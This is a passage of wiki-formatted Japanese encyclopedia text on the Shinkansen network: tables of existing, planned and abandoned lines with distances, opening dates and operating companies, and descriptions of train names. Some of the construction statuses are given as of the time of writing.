|[[新函館北斗駅]]
|style="text-align: right;"|148.8 km
|style="text-align: right;"|148.8 km
|style="text-align: right;"|4
|[[2016年]][[3月26日]]:新青森駅 ‐ 新函館北斗駅
|[[ファイル:JR logo (hokkaido).svg|25px]][[北海道旅客鉄道]](JR北海道)
|-
![[東北新幹線]]
|[[東京駅]]
|新青森駅
|style="text-align: right;"|713.7 km
|style="text-align: right;"|674.9 km
|style="text-align: right;"|23
| [[1982年]][[6月23日]]:大宮駅 - [[盛岡駅]]<br />[[1985年]][[3月14日]]:[[上野駅]] - 大宮駅<br />[[1991年]][[6月20日]]:東京駅 - 上野駅<br />[[2002年]][[12月1日]]:盛岡駅 - [[八戸駅]]<br />[[2010年]][[12月4日]]:八戸駅 - 新青森駅
|[[ファイル:JR logo (east).svg|25px]][[東日本旅客鉄道]](JR東日本)
|-
![[上越新幹線]]
|[[大宮駅 (埼玉県)|大宮駅]]
|[[新潟駅]]
|style="text-align: right;"|303.6 km
|style="text-align: right;"|269.5 km
|style="text-align: right;"|10
|1982年[[11月15日]]
|[[ファイル:JR logo (east).svg|25px]]東日本旅客鉄道(JR東日本)
|-
!rowspan="2"|[[北陸新幹線]]
|[[高崎駅]]
|[[上越妙高駅]]
|style="text-align: right;"|176.9 km
|style="text-align: right;"|176.9 km
|style="text-align: right;"|8
|[[1997年]][[10月1日]]:高崎駅 - [[長野駅]]<br />[[2015年]]3月14日:長野駅 - 上越妙高駅
|[[ファイル:JR logo (east).svg|25px]]東日本旅客鉄道(JR東日本)
|-
|上越妙高駅
|[[金沢駅]]
|style="text-align: right;"|168.6 km
|style="text-align: right;"|168.6 km
|style="text-align: right;"|6
|2015年3月14日:上越妙高駅 - 金沢駅
|[[ファイル:JR logo (west).svg|25px]][[西日本旅客鉄道]](JR西日本)
|-
![[東海道新幹線]]
|東京駅
|[[新大阪駅]]
|style="text-align: right;"|552.6 km
|style="text-align: right;"|515.4 km
|style="text-align: right;"|17
|[[1964年]]10月1日
|[[ファイル:JR logo (central).svg|25px]][[東海旅客鉄道]](JR東海)
|-
![[山陽新幹線]]
|新大阪駅
|[[博多駅]]
|style="text-align: right;"|644.0 km<ref group="*">山陽新幹線については、乗車券の有効期間の計算に使う[[岩徳線]]経由の営業キロでは618.5 km、運賃・料金計算に使われる同線経由の[[営業キロ#換算キロ・擬制キロ・運賃計算キロ|運賃計算キロ]]は622.3 km。</ref>
|style="text-align: right;"|553.7 km
|style="text-align: right;"|19
|[[1972年]][[3月15日]]:新大阪駅 - [[岡山駅]]<br />[[1975年]][[3月10日]]:岡山駅 - 博多駅
|[[ファイル:JR logo (west).svg|25px]]西日本旅客鉄道(JR西日本)
|-
![[九州新幹線]]<span style="font-weight:normal"><ref group="*">整備新幹線としては九州新幹線(鹿児島ルート)と称されていたが、開業後は単に「九州新幹線」として営業しており、時刻表や駅などに「鹿児島ルート」とは表記されない。</ref></span>
|博多駅
|[[鹿児島中央駅]]
|style="text-align: right;"|288.9 km
|style="text-align: right;"|256.8 km
|style="text-align: right;"|12
|[[2004年]][[3月13日]]:[[新八代駅]] - 鹿児島中央駅<br />[[2011年]][[3月12日]]:博多駅 - 新八代駅
|[[ファイル:JR logo (kyushu).svg|25px]][[九州旅客鉄道]](JR九州)
|-
![[西九州新幹線]]<span style="font-weight:normal"><ref group="*">整備新幹線としては九州新幹線(西九州ルート)や九州新幹線(長崎ルート)と称されていたが、開業後は「西九州新幹線」として営業しており、時刻表や駅などに「西九州ルート」や「長崎ルート」とは表記されない。</ref></span>
|[[武雄温泉駅]]
|[[長崎駅]]
|style="text-align: right;"|69.6 km
|style="text-align: right;"|66.0 km
|style="text-align: right;"|5
|[[2022年]][[9月23日]]:武雄温泉駅 ‐ 長崎駅
|[[ファイル:JR logo (kyushu).svg|25px]]九州旅客鉄道(JR九州)
|-
!計
|
|
|style="text-align: right;"|3,066.7 km
|style="text-align: right;"|2,830.6 km
|style="text-align: right;"|97<!--重複を除いた実数-->
|
|
|}
{{Reflist|group="*"}}
JR東日本とJR北海道は東北新幹線と北海道新幹線で、JR東日本とJR西日本は北陸新幹線で、JR東海とJR西日本は東海道新幹線と山陽新幹線で、JR西日本とJR九州は山陽新幹線と九州新幹線で、それぞれ相互直通運転を行っている。以前、山形新幹線用・秋田新幹線用の車両の一部は保有会社からの貸出であったが、現在はすべてJR東日本の所有する車両で運行されている。
東京駅では東海道新幹線と東北新幹線の線路が接続されていないため、博多や新大阪から新函館北斗まで(その逆も)直通列車で行くことはできず、東京駅での乗り換えが必要となる。国鉄時代の利用状況の調査で[[東京都]]内を通過する需要が非常に小さいということは判明していたが、当時博多・札幌開業の際には[[夜行列車]]の運転も計画されていた。そのため、全列車が東京駅での折り返すのであれば、ホームの容量は大幅に不足するとみられていた。そこで、両線を直通運転として東海道の列車は田端基地、東北・上越の列車は品川基地での折り返しとすることとして建設計画が立てられた。あわせて、田端以北に[[デッドセクション|異周波デッドセクション]]を設けることが計画され、直通運転の試験車両として[[新幹線961形電車|961形]]も製造された。実際に、東京駅の東海道新幹線14・15番線ホームは直通を想定して作られたため、ホームが東北新幹線側にカーブしている。それでも、東京駅のホーム容量が不足する状態となったときは、上越新幹線を大宮駅から[[新宿駅]]へ分岐させる構想としていた<ref>出典 : 「東北・上越両新幹線について」大塚滋 「鉄道ファン」No.132 (1972年4月号)</ref>。しかし、ダイヤの乱れが相互に波及し運転管理面に多くの問題が予想されること、[[商用電源周波数|周波数]]が、東海道・山陽新幹線:60 Hz・東北・上越新幹線:50 Hzと異なることや、東北・上越新幹線用のものには降雪対策が施された車体設計にしなければならない点などから、1996年に計画の中止が発表された<ref>[https://www.nikkei.com/article/DGXNASFK2903Y_Z20C14A1000000/ 新幹線、目前で消えた「東北―東海道」直通計画] 日本経済新聞 2014年1月31日</ref>。計画については、「[[東北新幹線#東海道・山陽新幹線との直通運転]]」も参照。
==== 新幹線直行特急(ミニ新幹線) ====
以下の2路線が開業している。過去には東北新幹線の盛岡以北および北陸新幹線の軽井沢以西も[[ミニ新幹線]]として建設することが検討されたが、前者は地元の積極的な運動<ref>{{PDFlink|[https://www.pref.aomori.lg.jp/soshiki/kikaku/kikaku/files/h21yokuwakaru-2-4.pdf 『平成21年度版 よくわかる青森県』 pp.113-115]}} - 青森県企画政策部企画調整課</ref>、後者は[[1998年長野オリンピック|長野オリンピック]]との兼ね合いがあり最終的にはフル規格で建設された。
{| class="wikitable" style="font-size:90%"
|-
!名称!!起点!!終点!!営業キロ!!駅数!!開業年月日!!正式路線名!!運営会社
|-
![[秋田新幹線]]
|[[盛岡駅]]
|[[秋田駅]]
|style="text-align: right;"|127.3 km
|style="text-align: right;"|6
|[[1997年]][[3月22日]]
|[[田沢湖線]]:盛岡駅 - [[大曲駅 (秋田県)|大曲駅]]<br />[[奥羽本線]]:大曲駅 - 秋田駅
|[[ファイル:JR logo (east).svg|25px]][[東日本旅客鉄道]](JR東日本)
|-
![[山形新幹線]]
|[[福島駅 (福島県)|福島駅]]
|[[新庄駅]]
|style="text-align: right;"|148.6 km
|style="text-align: right;"|11
|[[1992年]][[7月1日]]:福島駅 - [[山形駅]]<br />[[1999年]][[12月4日]]:山形駅 - 新庄駅
|奥羽本線([[山形線]])
|[[ファイル:JR logo (east).svg|25px]]東日本旅客鉄道(JR東日本)
|}
==== 新幹線規格在来線 ====
新幹線の回送線で旅客扱いを行う区間。距離が短く高速運転を行わないなどといった理由で在来線扱いとされているが、車両や設備は新幹線のものであるため、これらの路線を走る列車は一般の「[[特別急行列車|特急列車]]」扱いとされ、乗車の際には[[乗車券]]のほかに[[特別急行券|特急券]]を要する。
{| class="wikitable" style="font-size:90%"
|-
!名称!!起点!!終点!!営業キロ!!駅数!!開業年月日!!運営会社
|-
! [[上越線]](支線)<span style="font-weight:normal"><ref group="*">上越線支線は保守用の[[専用鉄道|引き込み線]]を旅客線化したもの。通称・'''ガーラ湯沢支線'''。時刻表には運行上の形態にあわせ「上越新幹線」で掲載されており、「上越線」では掲載されていない。</ref></span>
|[[越後湯沢駅]]
|[[ガーラ湯沢駅]]
|style="text-align: right;"|1.8 km
|style="text-align: right;"|2
|[[1990年]][[12月20日]]
|[[ファイル:JR logo (east).svg|25px]][[東日本旅客鉄道]](JR東日本)
|-
![[博多南線]]<span style="font-weight:normal"><ref group="*">博多南線は[[車両基地]]([[博多総合車両所]])への回送線を旅客線化したもので、路線の大半が九州新幹線鹿児島ルートとの共用。全列車が、JRでは唯一[[列車愛称]]がない特急列車。</ref></span>
|[[博多駅]]
|[[博多南駅]]
|style="text-align: right;"|8.5 km
|style="text-align: right;"|2
|1990年[[4月1日]]
|[[ファイル:JR logo (west).svg|25px]][[西日本旅客鉄道]](JR西日本)
|}
{{Reflist|group="*"}}
新幹線では通常、[[東京駅]] - [[上野駅]]間や東京駅 - [[品川駅]]間などの短距離区間であっても、自由席特定特急料金として870円が必要となる。しかし上記の区間は在来線特急扱いであるため、特定特急料金がJRの特急料金では最低の100円となる。
==== 新幹線鉄道規格新線 ====
北陸新幹線と九州新幹線鹿児島ルート・西九州ルートのそれぞれ一部区間は、当初この方式で着工されたが、後に標準軌新線(フル規格)に変更されたため、この方式で開業した新幹線路線は存在しない。
以下の路線は通常の在来線として開業したが、将来の新幹線路線の敷設を考慮し、車両限界等が新幹線規格で建設されている。なお、海峡線の新中小国信号場 - 木古内駅間 (85.5 km) は2016年(平成28年)3月26日から北海道新幹線と共用されている。
{| class="wikitable" style="font-size:90%"
|-
!名称!!起点!!終点!!営業キロ!!開業年月日!!運営会社
|-
![[海峡線]]
|[[中小国駅]]<ref group="*">中小国駅 - [[新中小国信号場]] (2.3 km)は[[東日本旅客鉄道]](JR東日本)[[津軽線]]との重複区間である。</ref>
|[[木古内駅]]
|style="text-align: right;"|87.8 km
|[[1988年]][[3月13日]]
|[[ファイル:JR logo (hokkaido).svg|25px]][[北海道旅客鉄道]](JR北海道)
|-
!rowspan="2"|[[本四備讃線]]
|[[茶屋町駅]]
|[[児島駅]]
|style="text-align: right;"|12.9 km
|1988年[[3月20日]]
|[[ファイル:JR logo (west).svg|25px]][[西日本旅客鉄道]](JR西日本)
|-
|児島駅
|[[宇多津駅]]
|style="text-align: right;"|18.1 km
|1988年[[4月10日]]
|[[ファイル:JR logo (shikoku).svg|25px]][[四国旅客鉄道]](JR四国)
|}
{{Reflist|group="*"}}
=== 計画路線 ===
[[1970年]](昭和45年)[[5月18日]]に公布された[[全国新幹線鉄道整備法]]に基づき[[建設を開始すべき新幹線鉄道の路線を定める基本計画|基本計画線]]が挙げられたが、[[オイルショック]]や[[日本国有鉄道|国鉄]]の経営悪化などの影響を受けて、以下の新幹線の着工は見送られた。このうち[[整備新幹線]]は平成に入って着工したが、基本計画のまま着工の目処が全く立っていない路線も存在する。この区間については建設を望む声が根強く残っている区間や、[[軌間可変電車|フリーゲージトレイン]]による新幹線との直通運転が提案されている区間も存在する。
==== 整備計画路線 ====
[[1973年]](昭和48年)[[11月13日]]に整備計画が決定したいわゆる「[[整備新幹線]]」と、[[2011年]]([[平成]]23年)[[5月26日]]に整備計画が決定した中央新幹線がある。
{| class="wikitable" style="font-size:90%"
|+整備新幹線
|-
!名称!!起点!!終点!!線路延長!!開業予定!!状況!!営業主体
|-
!|[[北海道新幹線]]
|新函館北斗駅
|[[札幌駅]]
|style="text-align: right;"|211.5 km
|[[2030年]]度
|建設中
|[[ファイル:JR logo (hokkaido).svg|25px]][[北海道旅客鉄道]](JR北海道)
|-
!rowspan="2"|[[北陸新幹線]]
|金沢駅
|[[敦賀駅]]
|style="text-align: right;"|125.2 km
|[[2024年]][[3月16日]]
|試運転中
|rowspan="2"|[[ファイル:JR logo (west).svg|25px]][[西日本旅客鉄道]](JR西日本)
|-
|敦賀駅
|新大阪駅
|style="text-align: right;"|
|
|未着工
|-
![[九州新幹線 (整備新幹線)#西九州ルート|九州新幹線<br />(西九州ルート)]]<span style="font-weight:normal">
|[[新鳥栖駅]]
|武雄温泉駅
|style="text-align: right;"|
|
|未着工
|[[ファイル:JR logo (kyushu).svg|25px]][[九州旅客鉄道]](JR九州)
|}
{{Reflist|group="*"}}
{| class="wikitable" style="font-size:90%"
|-
!名称!!起点!!終点!!線路延長!!開業予定!!状況!!営業主体
|-
!rowspan="2"|[[中央新幹線]]<span style="font-weight:normal"><ref group="*">設計最高速度505 km/hの[[超電導リニア|超電導]][[磁気浮上式鉄道]]([[リニアモーターカー]])。一部は[[リニア実験線|山梨リニア実験線]]を転用予定。</ref></span>
|[[品川駅]]
|[[名古屋駅]]
|style="text-align: right;"|285.6 km
|[[2027年]]
|建設中
|rowspan="2"|[[ファイル:JR logo (central).svg|25px]]東海旅客鉄道(JR東海)
|-
|名古屋駅
|新大阪駅
|style="text-align: right;"|約152 km
|[[2037年]]〜[[2045年]]
|未着工
|}
{{Reflist|group="*"}}
==== 基本計画路線 ====
{| class="wikitable" style="font-size:90%"
|-
!名称!!起点!!終点!!線路延長
|-
![[北海道新幹線]]
|[[北海道]][[札幌市]]
|北海道[[旭川市]]
|style="text-align: right;"|約130 km
|-
![[北海道南回り新幹線]]
|北海道[[山越郡]][[長万部町]]
|北海道札幌市
|style="text-align: right;"|約180 km
|-
![[羽越新幹線]]
|[[富山県]][[富山市]]
|[[青森県]][[青森市]]
|style="text-align: right;"|約560 km
|-
![[奥羽新幹線]]
|[[福島県]][[福島市]]
|[[秋田県]][[秋田市]]
|style="text-align: right;"|約270 km
|-
![[北陸・中京新幹線]]
|[[福井県]][[敦賀市]]
|[[愛知県]][[名古屋市]]
|style="text-align: right;"|約50 km
|-
![[山陰新幹線]]
|大阪府大阪市
|[[山口県]][[下関市]]
|style="text-align: right;"|約550 km
|-
![[中国横断新幹線]]
|[[岡山県]][[岡山市]]
|[[島根県]][[松江市]]
|style="text-align: right;"|約150 km
|-
![[四国新幹線]]
|大阪府大阪市
|[[大分県]][[大分市]]
|style="text-align: right;"|約480 km
|-
![[四国新幹線#四国横断新幹線|四国横断新幹線]]
|岡山県岡山市
|[[高知県]][[高知市]]
|style="text-align: right;"|約150 km
|-
![[東九州新幹線]]
|[[福岡県]][[福岡市]]
|[[鹿児島県]][[鹿児島市]]
|style="text-align: right;"|約390 km
|-
![[九州横断新幹線]]
|大分県大分市
|[[熊本県]][[熊本市]]
|style="text-align: right;"|約120 km
|}
=== 未成線 ===
{{出典の明記|section=1|date=2017-01-22}}
; [[成田新幹線]](東京駅 - [[成田空港駅]]間)
: [[1971年]](昭和46年)[[1月18日]]、[[建設を開始すべき新幹線鉄道の路線を定める基本計画#昭和46年告示第17号|昭和46年告示第17号]]により基本計画が公示された。[[1974年]](昭和49年)に着工したが、[[オイルショック]]の影響や、用地取得の困難、沿線自治体の建設反対運動が激しかったこともあり、[[1983年]](昭和58年)に工事は中止され、その後[[1987年]](昭和62年)の国鉄分割民営化に伴い、基本計画が失効した。建設済みの施設は[[成田空港高速鉄道]]線([[成田線]]空港支線)に転用され、新幹線の東京駅が建設される予定であったスペースには[[京葉線]]東京駅が後に建設された。なお、元[[神奈川県知事]]の[[松沢成文]]や、公約に「[[羽田・成田リニア新線構想]]」を掲げて当選した[[千葉県知事]]の[[森田健作]]がリニア検討委員会の発足を検討している<ref>{{Cite news|url=http://sankei.jp.msn.com/region/kanto/chiba/090407/chb0904072056013-n1.htm|title=【熱血知事ダイアリー】神奈川県とリニア検討委発足へ アクア値下げも合意|newspaper=産経新聞|publisher=産業経済新聞社|date=2009-04-07|accessdate=2014-10-05|archiveurl=https://web.archive.org/web/20090410074605/http://sankei.jp.msn.com/region/kanto/chiba/090407/chb0904072056013-n1.htm|archivedate=2009年4月10日|deadlinkdate=2017年10月}}</ref>。
; [[東海道新線#第二東海道新幹線|第二東海道新幹線]]
: [[リニアモーターカー]]で建設される計画であったが、前述した中央新幹線の計画(山梨リニア実験線の活用)と統合された。
; [[上越新幹線]]([[新宿駅]] - 大宮駅間)
: 上越新幹線は線路容量とターミナル容量から、当面新宿駅 - 大宮駅間の工事実施計画申請は行わない<ref>日本鉄道建設公団東京新幹線建設局・編『上越新幹線工事誌(大宮・新潟間)』</ref>こととし、東北新幹線に乗り入れとなったが、新宿駅地下にもスペースが確保されていた<ref group="注">『新宿駅線群の下を抜く 地下鉄10号線シールド』「トンネルと地下」1978年3月号には[[都営地下鉄新宿線|都営新宿線]]と[[京王新線]]の建設にあたり、「国鉄横断部分(延長125m)については、新幹線新宿乗り入れなどの将来構想を考慮して32/1,000の急勾配で下り、貨物線の下に至る」と記載されている。また、1976年(昭和51年)12月に行われた国鉄の第27回停車場技術講演会で発表された『新宿駅将来計画』には山手貨物線下の地下3階に3面6線の平面図が掲載されている。</ref>。[[1973年]](昭和48年)[[7月12日]]、参議院運輸委員会において[[内田隆滋]]国鉄理事は、「大宮と東京の間は新幹線が二本要る、それを施行する場合、地元の御要望もございまして、いわゆる現在の計画している新幹線と通勤線とを併設いたしまして、現在の貨物線にもう一本の新幹線を通すという計画をいたしたわけでございます。」と答弁している。また[[1973年]](昭和48年)[[9月4日]]、参議院運輸委員会において[[磯崎叡]]国鉄総裁は「東北、上越あるいは北陸を東京都内に入れる際に、東京都から、東京駅に集中しないでほしいという強い御要請がございました。その際に、私どももそれを受けまして、東北、上越の認可を大臣からいただきます際には、将来そのターミナルを東京駅以外のところに持っていきたいということをつけ加えて大臣の御承諾を得ております。その際に、やはりその第一候補となるのは新宿でございます。」と答弁している。なお、1971年(昭和46年)9月15日付け読売新聞では、「国鉄、鉄建公団では、51年の開通当初は東北、上越両線を東京駅から大宮駅付近まで併用とし、新宿駅完成後に東北新幹線は東京駅、上越新幹線は新宿駅に分離したい考え。東京駅を出た列車は、高架から秋葉原付近でいったん地下にもぐり、田端付近でカオを出すが、分離後の上越新幹線は、この田端を分岐点に、山手貨物線あとをたどり新宿駅と結ばれる。さらに新宿から山手貨物線あとを延長し大崎付近で東海道新幹線と直通させる計画も出ている。 」とし、1973年(昭和48年)3月11日付け毎日新聞においては、「来年10月の武蔵野線全面開通に伴い不要化する東北本線の貨物線と山手貨物線の敷地を使い、大宮-赤羽(以上東北本線)赤羽-池袋-新宿(以上山手貨物線)というコースをとる」とされている。整備新幹線開業後の大宮 - 東京間および東京駅の容量逼迫に備えてこの区間の建設を再開すべきだという意見がある。ただし、[[埼京線]]高架沿いの空き地は「'''都市施設用地'''」と呼ばれる都市施設(道路、公園等)を計画したものであり、延伸のために確保された用地ではなく、国鉄が先行取得し、いずれ、戸田、浦和、与野、大宮の4市(浦和市、与野市、大宮市は現・さいたま市)に売却することとされている<ref>会計検査院昭和59年度決算検査報告</ref><ref>「東北新幹線工事誌(上野-大宮間)」P112</ref>。また、前記の「不要化する貨物線」とされている線路については現在東北・上越新幹線と並行する[[東北本線]]([[宇都宮線]])・[[高崎線]]の一部列車([[湘南新宿ライン]])が、更に池袋駅以南は[[埼京線]]も乗り入れ、重要な通勤路線として再活用されており、上越新幹線への転用は困難となっている。他方、2017年(平成29年)1月12日付け信濃毎日新聞では「JR東日本は、巨額の投資が必要な大宮以南の線路増強について慎重だ。「現有の新幹線設備を有効活用することで、利用状況を踏まえた列車本数を確保できると考えている」(広報部)とする。今後、需要が増える場合には「大宮発着の列車の運行などを必要に応じて検討していくことになる」との立場だ。」としている。[[鉄道総合技術研究所]]の小野田滋は「このルートは工事費が巨額となることから現実的ではないと判断され打ち切られ」<ref name="abst">{{Cite web|和書|url=http://www.dobohaku.com/tokyo/ja/staffblog_008/|title=ドボ博 学芸員の部屋008 幻の上越・北陸新幹線新宿駅起点構想について|publisher=土木学会|accessdate=2019-09-29}}</ref>たとしている。
== 列車名 ==
新幹線の[[列車愛称|列車名]](列車愛称)は、東海道・山陽・九州新幹線では速度別につけられている。JR東日本の山形・秋田新幹線およびJR九州の西九州新幹線は列車名が単一である。JR東日本の北陸新幹線とJR九州の九州新幹線も部分開業時は列車名が単一であった。JR東日本の新幹線では、[[新幹線E1系電車|E1系]]・[[新幹線E4系電車|E4系]]「[[Max (鉄道車両)|Max]]」を使用する場合は列車名の前に「Max」が付いていた。
[[ファイル:Grand-shokudo.jpg|thumb|200px|right|かつて存在した"グランドひかり"の食堂車]]
[[ファイル:1999-9-18-0kei.jpg|thumb|200px|right|東海道新幹線最終日の初代新幹線0系「こだま」]]
=== 現行の列車名 ===
; 東海道・山陽新幹線
:; 「[[のぞみ (列車)|のぞみ]]」
:: 現行の東海道・山陽新幹線の最速列車で、「ひかり」「こだま」とは異なる料金体系である。1992年3月14日に運行開始された。[[新幹線N700系電車|N700系]]・[[新幹線N700S系電車|N700S系]]が使用される。過去には[[新幹線300系電車|300系]]、[[新幹線500系電車|500系]]、[[新幹線700系電車|700系]]も使用されていた。
:; 「[[ひかり (列車)|ひかり]]」
:: 主要駅停車の列車。各駅停車ではないが、「のぞみ」に比べ停車駅が多く、料金体系も異なる。東海道新幹線開業当初から運行されており、当初は大都市駅のみに停車し、各駅停車の「こだま」に対して超特急の代名詞であった。その後、運行本数の増加に伴い、主要駅のみ停車する速達タイプ、乗降客数の少ない駅にも停車するタイプ、一部の区間で各駅に停車するタイプなど停車駅が多様化し、「のぞみ」が加わった以降では「のぞみ」でも「こだま」([[各駅停車]])でもない列車という位置づけになっている。山陽新幹線では"[[ひかりレールスター]]"と呼ばれる、顧客ニーズに応える形で登場した列車も運行されている。過去には"[[ひかり (列車)#さまざまなバリエーション|ウエストひかり]]"や"[[グランドひかり]]"などもあった。「のぞみ」と違い、一部区間が各駅停車となる列車もある。N700系・N700S系・700系(山陽新幹線のみ)が使用される。過去には[[新幹線0系電車|0系]]、[[新幹線100系電車|100系]]、300系、500系も使用されていた。
:; 「[[こだま (列車)|こだま]]」
:: 各駅停車の列車で、「ひかり」と同様、東海道新幹線開業当初から運行されている。全区間にわたって運行されているが、東海道区間と山陽区間(新大阪駅)を跨ぐ列車はない。早朝や深夜には普通車が全車自由席の列車や、グリーン車なしで全車自由席の列車も運行される。N700系、N700S系が使われるほか、山陽新幹線では500系(8両編成)、700系、N700系7000番台・8000番台を使用する列車がある。<!--詳細はこだまの記事に書けば良い: N700系も東海道新幹線では浜松駅・三島駅 - 東京駅間に日に2本--><!--2009年3月14日より--><!--、山陽新幹線では[[新下関駅]] - 博多駅および[[小倉駅 (福岡県)|小倉駅]] - 博多駅でそれぞれ1往復ずつ、博多駅→[[岡山駅]]および[[広島駅]]→博多駅でそれぞれ1本ずつ使用される。-->2008年11月30日までは0系、2012年3月までは100系・300系も使用されていた。
; 山陽・九州新幹線
:; 「[[みずほ (列車)|みずほ]]」
:: [[新大阪駅]] - [[鹿児島中央駅]]を結ぶ最速列車。九州新幹線内では[[久留米駅]](一部列車のみ)・[[熊本駅]]・[[川内駅 (鹿児島県)|川内駅]](一部列車のみ)・鹿児島中央駅に停車する。朝夕を中心に運転される。新大阪駅 - 鹿児島中央駅間を最速3時間41分で結ぶ。山陽新幹線内では「のぞみ」並みの所要時間で、料金体系も「のぞみ」と同一である。N700系7000番台・8000番台を使用。
:; 「[[さくら (新幹線)|さくら]]」
:: 主要駅停車の列車。山陽・九州新幹線の直通列車と、九州新幹線内のみ運行する列車がある。山陽新幹線内では「ひかり」並みの所要時間で、料金体系も「ひかり」と同一である。九州新幹線内では熊本駅 - 鹿児島中央駅間(熊本駅発着の1往復は博多駅 - 熊本駅間)が各駅停車となる列車もある。N700系7000番台・8000番台と[[新幹線800系電車|800系]]を使用する。なお、800系は九州新幹線内のみを運転する一部列車で使用される。
:; 「[[つばめ (JR九州)|つばめ]]」
:: 各駅停車の列車。ほとんどが九州新幹線内のみの運行で、早朝・深夜を除いて博多駅 - 熊本駅間の運行であるが、朝に山陽新幹線直通の熊本発小倉行きが1本運行されている。主に800系を使用するが、一部列車はN700系7000番台・8000番台も使用する。<!--ただし車内販売の営業は行われない<ref group="注">なお、車内には飲料の自動販売機が設置されていて、飲料のみの購入はできる。</ref>。-->
; 西九州新幹線
:; 「[[かもめ (列車)|かもめ]]」
:: 運行区間・停車パターンに関係なく全ての列車に「かもめ」の愛称が使用される。武雄温泉駅で「リレーかもめ」{{Efn2|一部の「[[みどり (列車)|みどり]]」「[[ハウステンボス (列車)|ハウステンボス]]」も「リレーかもめ」として運行される。}}と同一ホーム対面乗り換えを行っている。N700S系8000番台を使用する。
; 東北・北海道新幹線
:; 「[[はやぶさ (新幹線)|はやぶさ]]」
:: [[東京駅]] - [[仙台駅]]・[[盛岡駅]]・[[新青森駅]]・[[新函館北斗駅]]間を結ぶ最速列車。2011年3月5日に運行開始した。[[新幹線E5系・H5系電車|E5系・H5系]]を使用する。東北新幹線の他の列車とは異なる料金体系をとる。早朝・夜間の一部を除き全車指定席で、グリーン車のほかに、[[グランクラス]]がある。ただし一部の「はやぶさ」のグランクラスはシートのみの営業となる。
:; 「[[はやて (列車)|はやて]]」
:: 盛岡駅・[[新青森駅]] - 新函館北斗駅間を運行するが、臨時列車としては東京駅 - 新青森駅間で大宮駅 - 仙台駅間ノンストップの列車が運行される場合もある。2002年の八戸開業時に東京駅 - 八戸駅間を結ぶ列車として運行開始された。前述の「はやぶさ」の登場および運行本数拡大によって少数派となったが、2014年11月20日の発表では、[[北海道新幹線]]開業以降も存続することとなっている<ref name="jrh press 20141120-1">{{Cite press release|和書|url=http://www.jrhokkaido.co.jp/press/2014/141120-1.pdf|format=PDF|title=北海道新幹線の列車名決定について|publisher=[[北海道旅客鉄道]]|date=2014-11-20|accessdate=2014-11-20|archiveurl= |archivedate= }}</ref><ref name="jreast press 20141120">{{Cite press release|和書|url=http://www.jreast.co.jp/press/2014/20141113.pdf|format=PDF|title=北海道新幹線の列車名決定について|publisher=東日本旅客鉄道|date=2014-11-20|accessdate=2014-11-20|archiveurl= |archivedate= }}</ref>。早朝・夜間の一部を除き全車指定席。E5系、[[新幹線E2系電車|E2系]]<!--0番台も使用-->が使用されている。E5系を使用する列車にはグランクラスが連結されているが、一部列車のグランクラスは非営業となる<!-- 最速列車の件は[[東北新幹線#列車愛称]]に移動 -->。
:; 「[[やまびこ (列車)|やまびこ]]」
:: 盛岡駅以南を走る列車で、下記の「なすの」を除くもの。仙台駅以南では主要駅停車、以北では各駅停車が多い。全区間各駅停車の列車もある。東北新幹線開業当初から運行されており、当初は各駅停車の「あおば」に対して主要駅停車もしくは一部区間で各駅停車の列車という位置づけであった。E5系、E6系、E2系を使用。E5系を使用する列車にはグランクラスが連結されているが、一部列車のグランクラスはシートのみの営業または非営業となる。
:; 「[[なすの (列車)|なすの]]」
:: 東京駅 - [[那須塩原駅]]・[[郡山駅 (福島県)|郡山駅]]間を走る各駅停車の列車。E5系、E6系、E2系が使用される。2010年までは増結用として[[新幹線400系電車|400系]]も使用された。E5系を使用する列車のグランクラスはシートのみの営業となる。
; 山形新幹線
:; 「[[つばさ (列車)|つばさ]]」
:: 山形新幹線開業時から運行されており、停車駅や使用車両に関係なく、山形新幹線内を通るすべての新幹線列車にこの愛称が付けられている。E3系1000番台および2000番台を使用し、福島以南は基本的にE2系「やまびこ」と併結(一部は単独運転する)。2010年までは[[新幹線400系電車|400系]]も使用され、過去には[[新幹線200系電車|200系]]「やまびこ」やE4系「Maxやまびこ」と併結していた。
; 秋田新幹線
:; 「[[こまち (列車)|こまち]]」
:: 秋田新幹線開業時から運行されており、停車駅や使用車両に関係なく、秋田新幹線内を通るすべての新幹線列車にこの愛称が付けられている。[[新幹線E6系電車|E6系]]を使用し、盛岡以南は基本的にE5系「はやぶさ」と併結。2014年3月まではE3系も使用され、過去には200系「やまびこ」やE2系「やまびこ」→「はやて」、E5系「はやて」と併結していた。全車[[座席指定席|指定席]]。
; 上越新幹線
:; 「[[とき (列車)|とき]]」
:: [[越後湯沢駅]]以北を運行する列車。ほとんどが[[東京駅]] - [[新潟駅]]間で運行されている。主要駅停車の列車と各駅停車の列車がある。E2系、E7系を使用。過去には200系、E1系、E4系も使用されていた。上越新幹線開業時から運行されており、開業当初は、主要駅停車の「あさひ」に対し、各駅停車の列車名として使用されていた。1997年10月1日に「たにがわ」「あさひ」への統合で消滅したが、東京駅から高崎駅まで同じ区間を運行する「あさま」との混同を防止するため、2002年12月1日のダイヤ改正で「あさひ」からの改称という形で復活した。
:; 「[[たにがわ (列車)|たにがわ]]」
:: [[越後湯沢駅]](スキーシーズンは[[ガーラ湯沢駅]])以南を走る列車。使用車両は「とき」と同じ。定期列車はすべて各駅停車で、普通車全車自由席の列車もある。冬季には一部の途中駅<!--本庄早稲田のみ通過ではなく大宮 - 越後湯沢間無停車が多い-->を通過するガーラ湯沢駅発着の臨時列車も設定されている。
; 北陸新幹線
:; 「[[かがやき (列車)|かがやき]]」
:: 東京駅 - [[金沢駅]]間直通列車のうち、主要駅に停車する速達タイプ。[[新幹線E7系・W7系電車|E7系、W7系]]を使用。グランクラスを設定。全車[[座席指定席|指定席]]。
:; 「[[はくたか]]」
:: 東京駅 - 金沢駅間直通列車のうち、停車タイプ。北陸新幹線内のみ運行の金沢発長野行きが夜に1本運行されている。使用車両は「かがやき」と同じE7系・W7系を使用。グランクラスも設定されている。
:; 「[[あさま]]」
:: 東京駅 - [[長野駅]]を結ぶ列車。E7系、W7系を使用し、グランクラスが連結されているが、シートのみの営業となる。過去にはE2系、臨時列車で200系、E4系が使用されたこともあり、E4系使用の場合「Maxあさま」の名前が付いた。
:; 「[[つるぎ (列車)|つるぎ]]」
:: [[富山駅]] - 金沢駅間で運転されるシャトルタイプの列車。使用車両は「かがやき」「はくたか」と同じ。グランクラスが連結されているが非営業。
=== かつて使用されていた列車名 ===
; 東北新幹線
:; 「[[やまびこ (列車)|あおば]]」
:: 各駅停車の列車。[[1997年]][[10月1日]]のダイヤ改正で「なすの」・「やまびこ」へ統合して消滅した。
; 上越新幹線
